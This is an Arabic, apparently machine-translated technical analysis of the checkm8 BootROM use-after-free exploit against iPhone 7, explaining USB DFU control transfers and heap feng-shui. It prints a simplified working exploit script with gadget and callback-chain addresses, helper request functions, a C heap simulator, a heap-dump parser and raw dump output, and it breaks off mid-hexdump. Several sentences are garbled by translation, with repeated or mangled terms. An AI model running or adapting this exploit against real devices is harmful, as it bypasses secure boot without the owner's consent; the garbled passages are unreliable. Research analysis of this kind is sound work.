التحليل الفني لل checkm8 استغلال


على الأرجح سمعت بالفعل عن checkm8 الشهير للاستغلال ، والذي يستخدم ثغرة أمنية غير BootROM في BootROM لمعظم iDevices ، بما في ذلك iPhone X في هذه المقالة ، سوف نقدم تحليلًا تقنيًا لهذا الاستغلال ومعرفة أسباب هذا الضعف.


يمكنك قراءة النسخة الروسية هنا .


مقدمة


أولاً ، دعنا نصف بإيجاز عملية تمهيد iDevice والدور الذي يلعبه BootROM (المعروف أيضًا باسم SecureROM ) فيه. معلومات مفصلة عن ذلك يمكن العثور عليها هنا . إليك ما يبدو عليه التشغيل:



عند تشغيل الجهاز ، يتم تنفيذ BootROM أولاً. مهامها الرئيسية هي:


  • تهيئة النظام الأساسي (يتم تثبيت سجلات النظام الأساسي الضرورية ، تتم تهيئة CPU ، وما إلى ذلك)
  • التحقق ونقل السيطرة إلى المرحلة التالية
    • يدعم BootROM تحليل صور IMG3/IMG4
    • لدى BootROM حق الوصول إلى مفتاح GID لفك تشفير الصور
    • للتحقق من الصور ، لدى BootROM مفتاح Apple مدمج ووظيفة تشفير ضرورية
  • قم باستعادة الجهاز إذا تعذر إجراء مزيد من عمليات التشغيل ( Device Firmware Update ، DFU ).

BootROM صغير جدًا ويمكن تسميته إصدارًا خفيفًا من iBoot ، حيث يشارك معظم النظام ورمز المكتبة. على الرغم من أنه على عكس iBoot ، لا يمكن تحديث BootROM . يتم وضعها في الذاكرة الداخلية للقراءة فقط عند تصنيع الجهاز. BootROM هو جذر الأجهزة من الثقة لسلسلة التمهيد الآمن. قد تسمح نقاط الضعف في BootROM للمهاجم بالتحكم في عملية التمهيد وتنفيذ التعليمات البرمجية غير الموقعة على الجهاز.



تاريخ checkm8


تمت إضافة checkm8 استغلال إلى ipwndfu بواسطة مؤلفها axi0mX في 27 سبتمبر 2019. في الوقت نفسه ، أعلن التحديث على Twitter وقدم وصفًا ومعلومات إضافية حول الاستغلال. وفقًا iBoot ، وجد ثغرة use-after-free في رمز USB أثناء تصحيح iBoot لنظام iOS 12 beta في صيف عام 2018.
BootROM و iBoot معظم التعليمات البرمجية الخاصة بهما ، بما في ذلك USB ، وبالتالي فإن BootROM الحصانة هذه BootROM أيضًا بـ BootROM .


كما يلي من رمز الاستغلال ، يتم استغلال الثغرة الأمنية في DFU . هذا وضع يمكن من خلاله نقل صورة موقعة إلى جهاز عبر USB سيتم تمهيده لاحقًا. على سبيل المثال ، قد يكون هذا مفيدًا لاستعادة الجهاز بعد تحديث غير ناجح.


في نفس اليوم ، قال المستخدم littlelailo إنه وجد هذه الثغرة مرة أخرى في مارس ونشر وصفًا في apollo.txt . يتطابق الوصف مع checkm8 ، على الرغم من أنه ليس كل تفاصيل الاستغلال تصبح واضحة عند قراءته. هذا هو السبب في أننا قررنا كتابة هذه المقالة ووصف جميع تفاصيل الاستغلال حتى تنفيذ الحمولة النافعة في BootROM .


iBoot/SecureROM للاستغلال على الموارد المذكورة أعلاه iBoot/SecureROM المصدرية لـ iBoot/SecureROM ، والتي تم تسريبها في فبراير 2018. واستخدمنا أيضًا البيانات التي حصلنا عليها من التجارب التي أجريت على جهاز الاختبار الخاص بنا ، iPhone 7 ( CPID:8010 ). باستخدام ، checkm8 ، حصلنا على مقالب SecureROM و SecureRAM ، والتي كانت أيضًا مفيدة للتحليل.


معلومات ضرورية حول USB


نظرًا لوجود ثغرة أمنية في رمز USB ، فمن الضروري فهم كيفية عمل هذه الواجهة. يمكن العثور على المواصفات الكاملة على https://www.usb.org/ ، ولكنها قراءة طويلة. لأغراضنا ، يعد USB في NutShell أكثر من كافٍ. هنا ، سنذكر فقط النقاط الأكثر صلة.


هناك أنواع مختلفة من نقل بيانات USB . في DFU ، يتم استخدام وضع Control Transfers فقط (اقرأ المزيد عنه هنا ). في هذا الوضع ، كل معاملة لها 3 مراحل:



  • Setup Stage - يتم إرسال حزمة SETUP ؛ له الحقول التالية:
    • bmRequestType - يحدد اتجاه الطلب ونوعه والمستلم
    • bRequest - يحدد الطلب المطلوب تقديمه
    • يتم تفسير wValue ، wIndex - حسب الطلب
    • wLength - يحدد طول البيانات المرسلة / المستلمة في Data Stage
  • Data Stage - مرحلة اختيارية لنقل البيانات. بناءً على حزمة SETUP المرسلة أثناء Setup Stage ، يمكن إرسال البيانات من مضيف إلى جهاز ( OUT ) أو العكس ( IN ). يتم إرسال البيانات في أجزاء صغيرة (في حالة Apple DFU ، تبلغ 0x40 بايت).
    • عندما يريد مضيف إرسال جزء آخر من البيانات ، فإنه يرسل رمز مميز OUT ثم البيانات نفسها.
    • عندما يكون المضيف جاهزًا لاستلام البيانات من جهاز ، فإنه يرسل رمز IN إلى الجهاز.
  • Status Stage - Status Stage الأخيرة ؛ تم الإبلاغ عن حالة المعاملة بالكامل.
    • بالنسبة لطلبات OUT ، يرسل المضيف رمز IN الذي يجب أن يستجيب له الجهاز مع حزمة ذات طول صفري.
    • لطلبات IN ، يرسل المضيف رمز OUT وحزمة ذات طول صفري.

يعرض المخطط أدناه طلبات OUT و IN . لقد ACK و NACK وحزم المصافحة الأخرى عن قصد ، لأنها ليست مهمة للاستغلال نفسه.



تحليل apollo.txt


بدأنا التحليل باستخدام مشكلة عدم الحصانة من apollo.txt . يصف المستند خوارزمية وضع DFU :


https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4
  1. عندما يبدأ usb في الحصول على صورة عبر dfu ، يسجل dfu واجهة للتعامل مع جميع الأوامر ويخصص مخزن مؤقت للإدخال والإخراج
  2. إذا قمت بإرسال البيانات إلى dfu ، تتم معالجة حزمة الإعداد بواسطة الكود الرئيسي الذي يستدعي رمز الواجهة
  3. يتحقق رمز الواجهة من أن طول الطول أقصر من طول مخزن الإدخال المؤقت المؤقت وإذا كان هذا هو الحال ، فإنه يتم تحديث مؤشر تم تمريره كوسيطة مع مؤشر إلى المخزن المؤقت لمخرج الإدخال
  4. ثم تقوم بإرجاع wLength وهو الطول الذي تريد استقباله في المخزن المؤقت
  5. يقوم الكود الرئيسي لـ usb بتحديث var عالمي بطوله ويستعد لاستلام حزم البيانات
  6. في حالة تلقي حزمة بيانات ، يتم كتابتها إلى المخزن المؤقت لمخرج الإدخال عبر المؤشر الذي تم تمريره كوسيطة ويتم استخدام متغير عمومي آخر لتتبع عدد البايتات التي تم استلامها بالفعل
  7. إذا تم استلام جميع البيانات ، يتم استدعاء رمز dfu المحدد مرة أخرى ، ثم يستمر في نسخ محتويات المخزن المؤقت لمخرج الإدخال إلى موقع الذاكرة من حيث يتم تمهيد الصورة لاحقًا
  8. بعد ذلك ، يقوم رمز USB بإعادة ضبط جميع المتغيرات ويمضي في معالجة الحزم الجديدة
  9. إذا تم إنهاء dfu ، يتم تحرير المخزن المؤقت لمخرج الإدخال وإذا فشل تحليل الصورة فيتم إعادة قراءة bootrom

أولاً ، تحققنا من هذه الخطوات مقابل الكود المصدري لـ iBoot . لا يمكننا استخدام أجزاء الكود الذي تم تسريبه هنا ، لذلك سنستخدم الكود SecureROM الذي حصلنا عليه من الهندسة العكسية الخاصة بـ SecureROM الخاص بـ iPhone7 في IDA . يمكنك بسهولة العثور على الكود المصدري لـ iBoot والتنقل فيه.


عند تهيئة DFU ، يتم تخصيص مخزن مؤقت IO ، وتسجيل واجهة USB لمعالجة الطلبات إلى DFU :



عند ظهور حزمة SETUP لطلب DFU ، يتم استدعاء معالج واجهة مناسب. بالنسبة لطلبات OUT (على سبيل المثال ، عند إرسال صورة) ، في حالة التنفيذ الناجح ، يتعين على المعالج إرجاع عنوان المخزن المؤقت IO للمعاملة بالإضافة إلى طول البيانات التي يتوقع تلقيها. يتم تخزين كل القيم في متغيرات عمومية.



توضح لقطة الشاشة أدناه معالج واجهة DFU . إذا كان الطلب صحيحًا ، فسيتم إرجاع عنوان المخزن المؤقت IO المخصص أثناء تهيئة DFU والطول المتوقع للبيانات من حزمة SETUP .



أثناء Data Stage ، تتم كتابة كل جزء من البيانات إلى المخزن المؤقت IO ، ثم يتم إزاحة عنوان المخزن المؤقت IO ويتم تحديث العداد المستلم. عندما يتم استلام جميع البيانات المتوقعة ، يتم استدعاء معالج بيانات الواجهة ويتم مسح الحالة العامة للمعاملة.



في معالج بيانات DFU ، يتم نقل البيانات المستلمة إلى منطقة الذاكرة التي سيتم تحميلها منها لاحقًا. استنادًا إلى شفرة مصدر iBoot ، iBoot هذه المنطقة على أجهزة Apple INSECURE_MEMORY .



عندما يخرج الجهاز من وضع DFU ، يتم تحرير المخزن المؤقت IO المخصص مسبقًا. إذا تم الحصول على الصورة بنجاح في وضع DFU ، فسيتم التحقق منها وتمهيدها. إذا كان هناك أي خطأ أو كان من المستحيل تشغيل الصورة ، فستتم تهيئة وحدة DFU مرة أخرى ، وستتكرر العملية برمتها من البداية.


تحتوي الخوارزمية الموضحة use-after-free ثغرة أمنية في use-after-free . إذا أرسلنا حزمة SETUP في وقت تحميل الصور وأكمل عملية تخطي Data Stage ، فستبقى الحالة العامة قيد التهيئة خلال دورة DFU التالية ، وسنكون قادرين على الكتابة إلى عنوان المخزن المؤقت IO المخصص خلال السابق التكرار من DFU .


والآن بعد أن عرفنا كيف تعمل use-after-free ، فإن السؤال هو ، كيف يمكننا الكتابة فوق أي شيء خلال التكرار التالي DFU ؟ قبل تهيئة أخرى DFU ، يتم تحرير جميع الموارد المخصصة سابقًا ويجب أن يكون تخصيص الذاكرة في تكرار جديد هو نفسه تمامًا. كما اتضح ، هناك خطأ آخر مثير للتسرب في الذاكرة يتيح استغلال use-after-free .


تحليل checkm8


هيا بنا إلى checkm8 نفسه. من أجل العرض التوضيحي ، سوف نستخدم نسخة مبسطة من الاستغلال لجهاز iPhone 7 ، حيث أخرجنا جميع الشفرات المتعلقة بالمنصات الأخرى وقمنا بتغيير ترتيب وأنواع طلبات USB دون أي ضرر لوظائفه. لقد تخلصنا أيضًا من عملية بناء حمولة ، والتي يمكن العثور عليها في الملف الأصلي ، checkm8.py . من السهل تحديد الاختلافات بين الإصدارات للأجهزة الأخرى.


 #!/usr/bin/env python from checkm8 import * def main(): print '*** checkm8 exploit by axi0mX ***' device = dfu.acquire_device(1800) start = time.time() print 'Found:', device.serial_number if 'PWND:[' in device.serial_number: print 'Device is already in pwned DFU Mode. Not executing exploit.' return payload, _ = exploit_config(device.serial_number) t8010_nop_gadget = 0x10000CC6C callback_chain = 0x1800B0800 t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain) # heap feng-shui stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device) # set global state and restart usb device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) time.sleep(0.5) # heap occupation device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50) for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() if 'PWND:[checkm8]' not in device.serial_number: print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.' sys.exit(1) print 'Device is now in pwned DFU Mode.' print '(%0.2f seconds)' % (time.time() - start) dfu.release_device(device) if __name__ == '__main__': main() 

تشغيل checkm8 له عدة مراحل:


  1. كومة فنغ شوي
  2. تخصيص وتحرير المخزن المؤقت IO دون مسح الحالة العمومية
  3. الكتابة فوق usb_device_io_request في الكومة مع use-after-free
  4. وضع الحمولة
  5. تنفيذ callback-chain
  6. تنفيذ shellcode

دعونا ننظر في جميع المراحل بالتفصيل.


1. كومة فنغ شوي


نعتقد أنها المرحلة الأكثر إثارة للاهتمام ، لذلك سنقضي مزيدًا من الوقت في وصفها.


 stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device) 

هذه المرحلة ضرورية لترتيب الكومة بطريقة مفيدة لاستغلال use-after-free . أولاً ، دعنا no_leak المكالمات ، أو leak ، أو no_leak :


 def stall(device): libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001) def leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1) def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1) 

libusb1_no_error_ctrl_transfer عبارة عن غلاف لبرنامج device.ctrlTransfer يتجاهل جميع الاستثناءات الناشئة أثناء تنفيذ الطلب. libusb1_async_ctrl_transfer عبارة عن مجمّع للدالة libusb من libusb للتنفيذ غير المتزامن ل reqeust.


يتم تمرير المعلمات التالية إلى هذه المكالمات:


  • رقم الجهاز
  • بيانات حزمة SETUP (هنا يمكنك العثور على الوصف ):
    • bmRequestType
    • bRequest
    • wValue
    • wIndex
  • طول البيانات ( wLength ) أو Data Stage
  • طلب مهلة

تتم مشاركة الوسائط bmRequestType و bRequest و wValue و wIndex بواسطة جميع أنواع الطلبات الثلاثة:


  • bmRequestType = 0x80
    • 0b1XXXXXXX - اتجاه Data Stage (جهاز مضيف)
    • 0bX00XXXXX - نوع الطلب القياسي
    • 0bXXX00000 - الجهاز هو مستلم الطلب
  • bRequest = 6 - طلب الحصول على واصف ( GET_DESCRIPTOR )
  • wValue = 0x304
    • wValueHigh = 0x3 - يحدد نوع واصف - سلسلة ( USB_DT_STRING )
    • wValueLow = 0x4 - مؤشر واصف السلسلة ، 4 ، يتوافق مع الرقم التسلسلي للجهاز (في هذه الحالة ، السلسلة هي CPID:8010 CPRV:11 CPFM:03 SCEP:01 BDID:0C ECID:001A40362045E526 IBFL:3C SRTG:[iBoot-2696.0.0.1.33] )
  • wIndex = 0x40A - wIndex = 0x40A السلسلة ، والتي لا تتعلق قيمتها بالاستغلال ويمكن تغييرها.

لأي من هذه الطلبات ، يتم تخصيص 0x30 بايت في كومة الذاكرة المؤقتة لكائن البنية التالية:



الحقول الأكثر إثارة لهذا الكائن هي callback next .


  • callback هو المؤشر إلى الدالة التي سيتم استدعاؤها عند الانتهاء من الطلب.
  • next هو المؤشر إلى الكائن التالي من نفس النوع ؛ من الضروري تنظيم قائمة انتظار الطلب.

الميزة الرئيسية stall هي استخدامه للتنفيذ غير المتزامن لطلب مع الحد الأدنى من المهلة. لهذا السبب ، إذا كنا محظوظين ، فسيتم إلغاء الطلب على مستوى نظام التشغيل ويبقى في قائمة انتظار التنفيذ ، ولن تكتمل المعاملة. بالإضافة إلى ذلك ، سيستمر الجهاز في تلقي جميع حزم SETUP القادمة ووضعها ، عند الضرورة ، في قائمة انتظار التنفيذ. في وقت لاحق ، عند تجربة وحدة تحكم USB في Arduino ، اكتشفنا أنه من أجل الاستغلال الناجح ، نحتاج إلى المضيف لإرسال حزمة SETUP ورمز IN ، وبعد ذلك يجب إلغاء المعاملة بسبب انتهاء المهلة. تبدو هذه المعاملة غير المكتملة كما يلي:



إلى جانب ذلك ، تختلف الطلبات فقط في الطول بواسطة وحدة واحدة. بالنسبة للطلبات القياسية ، يوجد callback اتصال قياسي يبدو كما يلي:



قيمة io_length تساوي الحد الأدنى من wLength في حزمة SETUP للطلب والطول الأصلي wLength المطلوب. نظرًا لكون الواصف طويلًا جدًا ، يمكننا التحكم في قيمة io_length ضمن طوله. قيمة g_setup_request.wLength تساوي قيمة wLength من حزمة SETUP الأخيرة. في هذه الحالة ، يكون 0xC1 .


وبالتالي ، يتم إكمال الطلبات التي تم تشكيلها بواسطة stall المكالمات usb_core_send_zlp() ، ويتم استيفاء الشرط في وظيفة callback الطرفي ، ويتم usb_core_send_zlp() . تقوم هذه المكالمة بإنشاء حزمة فارغة (حزمة zero-length-packet ) وتضيفها إلى قائمة انتظار التنفيذ. يعد ذلك ضروريًا لإكمال المعاملة بشكل صحيح في Status Stage .


يتم إكمال الطلب عن طريق استدعاء الوظيفة usb_core_complete_endpoint_io . أولاً ، يستدعي callback ثم يحرر ذاكرة الطلب. اكتمل الطلب ليس فقط عند اكتمال المعاملة بالكامل ، ولكن أيضًا عند إعادة تعيين USB . عند تلقي إشارة إعادة تعيين USB ، سيتم إكمال جميع الطلبات في قائمة انتظار التنفيذ.


عن طريق الاتصال بشكل انتقائي بـ usb_core_send_zlp() عند الانتقال إلى قائمة انتظار التنفيذ وتحرير الطلبات بعد ذلك ، يمكننا الحصول على تحكم كافٍ في كومة الذاكرة المؤقتة لاستغلال use-after-free . أولاً ، دعنا ننظر إلى حلقة تنظيف الطلب:



كما ترون ، يتم إفراغ قائمة الانتظار ، ثم يتم تشغيل الطلبات الملغاة usb_core_complete_endpoint_io بواسطة usb_core_complete_endpoint_io . يتم وضع الطلبات المخصصة بواسطة usb_core_send_zlp في ep->io_head . بعد الانتهاء من إعادة تعيين USB ، ستكون جميع المعلومات حول نقطة النهاية واضحة ، بما في ذلك المؤشرات io_head و io_tail ، io_tail الطلبات ذات الطول الصفري في الكومة. وبالتالي ، يمكننا إنشاء قطعة صغيرة وسط الكومة. يوضح المخطط أدناه كيف يتم ذلك:



في كومة SecureROM ، يتم تخصيص منطقة ذاكرة جديدة من أصغر قطعة حرة مناسبة. من خلال إنشاء جزء صغير مجاني باستخدام الطريقة الموضحة أعلاه ، يمكننا التحكم في تخصيص الذاكرة أثناء تهيئة USB ، بما في ذلك تخصيص io_buffer والطلبات.


للحصول على فهم أفضل لهذا ، دعونا نرى الطلبات التي يتم إجراؤها على الكومة عند تهيئة DFU . أثناء تحليل شفرة مصدر iBoot والهندسة العكسية لـ SecureROM ، حصلنا على التسلسل التالي:


    1. تخصيص مختلف واصفات السلسلة
      • 1.1. Nonce (الحجم 234 )
      • 1.2. Manufacturer ( 22 )
      • 1.3. Product ( 62 )
      • 1.4. Serial Number ( 198 )
      • 1.5. Configuration string ( 62 )

    1. المخصصات المتعلقة بإنشاء مهمة وحدة تحكم USB
      • 2.1. هيكل المهمة ( 0x3c0 )
      • 2.2. مكدس المهام ( 0x1000 )

    1. io_buffer ( 0x800 )

    1. واصفات التكوين
      • 4.1. High-Speed ( 25 )
      • 4.2. Full-Speed ( 25 )


ثم ، يتم تخصيص هياكل الطلب. إذا كان هناك جزء صغير في الكومة ، فستذهب بعض مخصصات الفئة الأولى إلى هناك ، وستتحرك جميع التخصيصات الأخرى. وبالتالي ، سنكون قادرين على تجاوز usb_device_io_request بالرجوع إلى المخزن المؤقت القديم. يبدو مثل هذا:



لحساب الإزاحة اللازمة ، قمنا ببساطة بمضاهاة جميع التخصيصات المذكورة أعلاه iBoot التعليمات البرمجية المصدر iBoot قليلاً.


محاكاة الطلبات إلى الكومة في DFU
 #include "heap.h" #include <stdio.h> #include <unistd.h> #include <sys/mman.h> #ifndef NOLEAK #define NOLEAK (8) #endif int main() { void * chunk = mmap((void *)0x1004000, 0x100000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); printf("chunk = %p\n", chunk); heap_add_chunk(chunk, 0x100000, 1); malloc(0x3c0); // alignment of the low order bytes of addresses in SecureRAM void * descs[10]; void * io_req[100]; descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); const int N = NOLEAK; void * task = malloc(0x3c0); void * task_stack = malloc(0x4000); void * io_buf_0 = memalign(0x800, 0x40); void * hs = malloc(25); void * fs = malloc(25); void * zlps[2]; for(int i = 0; i < N; i++) { io_req[i] = malloc(0x30); } for(int i = 0; i < N; i++) { if(i < 2) { zlps[i] = malloc(0x30); } free(io_req[i]); } for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_0); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 2; i++) { printf("zlps[%d] = %p\n", i, zlps[i]); } printf("**********\n"); for(int i = 0; i < 5; i++) { free(descs[i]); } free(task); free(task_stack); free(io_buf_0); free(hs); free(fs); descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); task = malloc(0x3c0); task_stack = malloc(0x4000); void * io_buf_1 = memalign(0x800, 0x40); hs = malloc(25); fs = malloc(25); for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_1); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 5; i++) { io_req[i] = malloc(0x30); printf("io_req[%d] = %p\n", i, io_req[i]); } printf("**********\n"); printf("io_req_off = %#lx\n", (int64_t)io_req[0] - (int64_t)io_buf_0); printf("hs_off = %#lx\n", (int64_t)hs - (int64_t)io_buf_0); printf("fs_off = %#lx\n", (int64_t)fs - (int64_t)io_buf_0); return 0; } 

إخراج البرنامج مع 8 طلبات في مرحلة heap feng-shui :


 chunk = 0x1004000 descs[0] = 0x1004480 descs[1] = 0x10045c0 descs[2] = 0x1004640 descs[3] = 0x10046c0 descs[4] = 0x1004800 task = 0x1004880 task_stack = 0x1004c80 io_buf = 0x1008d00 hs = 0x1009540 fs = 0x10095c0 zlps[0] = 0x1009a40 zlps[1] = 0x1009640 ********** descs[0] = 0x10096c0 descs[1] = 0x1009800 descs[2] = 0x1009880 descs[3] = 0x1009900 descs[4] = 0x1004480 task = 0x1004500 task_stack = 0x1004900 io_buf = 0x1008980 hs = 0x10091c0 fs = 0x1009240 io_req[0] = 0x10092c0 io_req[1] = 0x1009340 io_req[2] = 0x10093c0 io_req[3] = 0x1009440 io_req[4] = 0x10094c0 ********** io_req_off = 0x5c0 hs_off = 0x4c0 fs_off = 0x540 

كما ترون ، usb_device_io_request آخر عند إزاحة 0x5c0 من بداية المخزن المؤقت السابق ، والذي يتوافق مع رمز الاستغلال:


 t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain) 

يمكنك التحقق من صحة هذه الاستنتاجات من خلال تحليل الوضع الحالي SecureRAM كومة SecureRAM ، والتي حصلنا عليها مع checkm8 . لهذا الغرض ، كتبنا نصًا بسيطًا يقوم بتفريغ مكدس الذاكرة المؤقتة ويقوم بتعداد الأجزاء. ضع في اعتبارك أنه أثناء تجاوز سعة usb_device_io_request ، كان جزءًا من البيانات التعريفية تالفًا ، لذلك usb_device_io_request أثناء التحليل.


 #!/usr/bin/env python3 import struct from hexdump import hexdump with open('HEAP', 'rb') as f: heap = f.read() cur = 0x4000 def parse_header(cur): _, _, _, _, this_size, t = struct.unpack('<QQQQQQ', heap[cur:cur + 0x30]) is_free = t & 1 prev_free = (t >> 1) & 1 prev_size = t >> 2 this_size *= 0x40 prev_size *= 0x40 return this_size, is_free, prev_size, prev_free while True: try: this_size, is_free, prev_size, prev_free = parse_header(cur) except Exception as ex: break print('chunk at', hex(cur + 0x40)) if this_size == 0: if cur in (0x9180, 0x9200, 0x9280): # skipping damaged chunks this_size = 0x80 else: break print(hex(this_size), 'free' if is_free else 'non-free', hex(prev_size), prev_free) hexdump(heap[cur + 0x40:cur + min(this_size, 0x100)]) cur += this_size 

يمكن العثور على إخراج البرنامج النصي مع التعليقات تحت المفسد. يمكنك أن ترى أن وحدات البايت ذات الترتيب المنخفض تطابق نتائج المحاكاة.


نتيجة تحليل الكومة في SecureRAM
 chunk at 0x4040 0x40 non-free 0x0 0 chunk at 0x4080 0x80 non-free 0x40 0 00000000: 00 41 1B 80 01 00 00 00 00 00 00 00 00 00 00 00 .A.............. 00000010: 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 ................ 00000020: FF 00 00 00 00 00 00 00 68 3F 08 80 01 00 00 00 ........h?...... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x4100 0x140 non-free 0x80 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4240 0x240 non-free 0x140 0 00000000: 68 6F 73 74 20 62 72 69 64 67 65 00 00 00 00 00 host bridge..... 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4480 // descs[4], conf string 0x80 non-free 0x240 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x4500 // task 0x400 non-free 0x80 0 00000000: 6B 73 61 74 00 00 00 00 E0 01 08 80 01 00 00 00 ksat............ 00000010: E8 83 08 80 01 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4900 // task stack 0x4080 non-free 0x400 0 00000000: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000010: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000020: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000030: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000040: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000050: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000060: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000070: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000080: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000090: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000A0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000B0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats chunk at 0x8980 // io_buf 0x840 non-free 0x4080 0 00000000: 63 6D 65 6D 63 6D 65 6D 00 00 00 00 00 00 00 00 cmemcmem........ 00000010: 10 00 0B 80 01 00 00 00 00 00 1B 80 01 00 00 00 ................ 00000020: EF FF 00 00 00 00 00 00 10 08 0B 80 01 00 00 00 ................ 00000030: 4C CC 00 00 01 00 00 00 20 08 0B 80 01 00 00 00 L....... ....... 00000040: 4C CC 00 00 01 00 00 00 30 08 0B 80 01 00 00 00 L.......0....... 00000050: 4C CC 00 00 01 00 00 00 40 08 0B 80 01 00 00 00 L.......@....... 00000060: 4C CC 00 00 01 00 00 00 A0 08 0B 80 01 00 00 00 L............... 00000070: 00 06 0B 80 01 00 00 00 6C 04 00 00 01 00 00 00 ........l....... 00000080: 00 00 00 00 00 00 00 00 78 04 00 00 01 00 00 00 ........x....... 00000090: 00 00 00 00 00 00 00 00 B8 A4 00 00 01 00 00 00 ................ 000000A0: 00 00 0B 80 01 